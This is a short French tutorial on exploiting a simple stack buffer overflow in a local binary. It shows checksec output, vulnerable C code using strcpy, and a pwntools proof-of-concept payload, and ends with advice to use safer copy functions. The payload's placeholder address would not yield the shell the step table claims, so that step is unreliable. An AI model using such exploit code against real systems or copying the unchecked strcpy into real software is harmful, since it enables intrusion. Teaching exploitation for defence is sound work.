un buffer overflow simple
Le binaire
On commence par regarder les protections du binaire avec checksec :
$ checksec --file=./vuln
RELRO STACK CANARY NX PIE
Partial RELRO No canary found NX disabled No PIE
Pas de canari, pas de NX : la pile est exécutable. Le code source ressemble à ceci :
#include <stdio.h>
#include <string.h>
void vuln(char *input)
{
char buffer[64];
strcpy(buffer, input); // aucune vérification de taille
printf("Bonjour %s\n", buffer);
}
L’exploitation
| Étape | Outil | Résultat |
|---|---|---|
| Trouver l’offset | cyclic |
72 octets |
| Contrôler RIP | gdb |
0x4141414141414141 |
| Exécuter un shell | pwntools |
🎉 |
from pwn import *
payload = b"A" * 72 + p64(0xdeadbeef)
p = process(["./vuln", payload])
p.interactive()
À retenir
strcpyne vérifie jamais la taille de la destination : préférezstrlcpyousnprintf.